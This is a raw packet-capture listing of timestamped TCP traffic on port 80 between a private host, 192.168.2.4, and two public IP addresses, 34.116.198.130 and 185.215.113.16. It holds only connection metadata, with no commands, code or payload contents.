Nov 23, 2024 11:22:25.537018061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537043095 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537056923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537071943 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537072897 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.537087917 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537102938 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537126064 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537128925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537147045 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.537152052 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537178040 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537200928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537216902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537218094 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537231922 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537240982 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.537246943 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537262917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537267923 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537278891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537280083 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537295103 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537305117 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.537309885 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537328959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537333965 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537343979 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537344933 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537359953 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537365913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.537374973 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537391901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537394047 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537405968 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537409067 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537422895 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537425995 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.537439108 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537455082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537472963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537487030 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537492990 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537503004 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537504911 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.537519932 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537529945 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537534952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537550926 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537558079 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537566900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537579060 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.537583113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537592888 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537607908 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537621975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537622929 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.537637949 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537652969 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537669897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537678003 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537684917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537707090 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537729025 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.537775993 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537791967 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537806988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537812948 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537822962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.537837982 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537846088 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537847042 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.537853956 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537887096 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537888050 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537910938 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537914038 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537926912 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537928104 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537944078 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537954092 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537960052 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537969112 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537977934 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537987947 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.537993908 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.538001060 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.538011074 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.538021088 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.538027048 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.538029909 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.538043022 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.538047075 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.538058996 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.538067102 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.538075924 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.538085938 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.538090944 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.538100004 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.538106918 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.538122892 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.538122892 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.538136005 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.538141012 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.538156033 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.538167953 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.538191080 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.539618015 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.659473896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.659495115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.659569025 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.659933090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.660043001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.660454035 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.660810947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.660940886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.661114931 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.661617994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.661675930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.661717892 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.662499905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.662698984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.662755013 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.663441896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.663558960 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.663604021 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.664387941 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.664494991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.664534092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.665278912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.665421009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.665467024 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.666250944 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.666450024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.666493893 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.667172909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.667299032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.667604923 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.668149948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.668239117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.668286085 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.669083118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.669286013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.669326067 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.670039892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.670275927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.670319080 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.670911074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.671087980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.671140909 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.671906948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.672024012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.672068119 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.672787905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.672941923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.673041105 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.673732996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.673841000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.673882008 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.674673080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.674752951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.674797058 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.675621033 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.675674915 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.675692081 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.675723076 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.675751925 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.675775051 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.675858974 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.676079035 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.676281929 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.676285028 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.676327944 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.676573038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.676675081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.676717043 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.676884890 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.676943064 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.676959038 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.677002907 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.677479982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.677633047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.677742004 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.677762985 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.677803993 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.677831888 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.677871943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.678479910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.678527117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.678558111 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.678575039 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.678587914 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.678615093 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.679368973 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.679415941 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.679423094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.679440022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.679455996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.679482937 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.679512024 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.680166960 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.680207968 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.680330992 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.680346012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.680387020 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.680413008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.680470943 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.681022882 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.681061029 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.681072950 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.681099892 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.681209087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.681536913 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.681581020 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.681809902 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.681866884 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.681890011 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.681946993 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.682178020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.682334900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.682373047 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.682594061 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.682636976 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.682722092 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.682812929 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.683108091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.683269024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.683310032 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.683455944 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.683495998 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.683535099 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.683573961 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.684043884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.684185028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.684258938 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.684310913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.684372902 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.684442043 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.684499979 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.685007095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.685117006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.685138941 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.685156107 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.685162067 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.685183048 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.685199022 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.685937881 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.685973883 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.685990095 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.685997009 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.686013937 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.686070919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.686110973 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.686738968 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.686873913 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.686877012 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.686913967 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.686917067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.686933041 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.686976910 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.687531948 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.687634945 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.687658072 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.687673092 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.687807083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.687916994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.687962055 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.688375950 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.688421011 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.688441992 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.688508987 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.688772917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.688905954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.688977957 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.689161062 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.689279079 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.689315081 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.689701080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.689835072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.689896107 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.690037966 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.690069914 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.690073013 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.690128088 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.690579891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.690766096 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.690831900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.690833092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.690848112 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.690871954 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.690984011 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.691560984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.691643953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.691658974 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.691674948 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.691689014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.691696882 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.691710949 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.692445993 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.692503929 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.692503929 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.692528009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.692564964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.692603111 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.692620993 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.693289042 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.693341017 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.693406105 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.693440914 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.693456888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.693483114 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.693501949 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.694112062 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.694156885 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.694195032 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.694297075 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.694390059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.694475889 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.694518089 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.694900990 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.694972992 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.695081949 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.695126057 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.695331097 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.695401907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.695441008 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.695743084 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.695806980 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.695853949 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.696248055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.696434021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.696496010 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.696582079 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.696598053 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.696630955 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.696646929 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.697176933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.697318077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.697362900 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.697410107 CET	80	49793	185.215.113.16	192.168.2.4
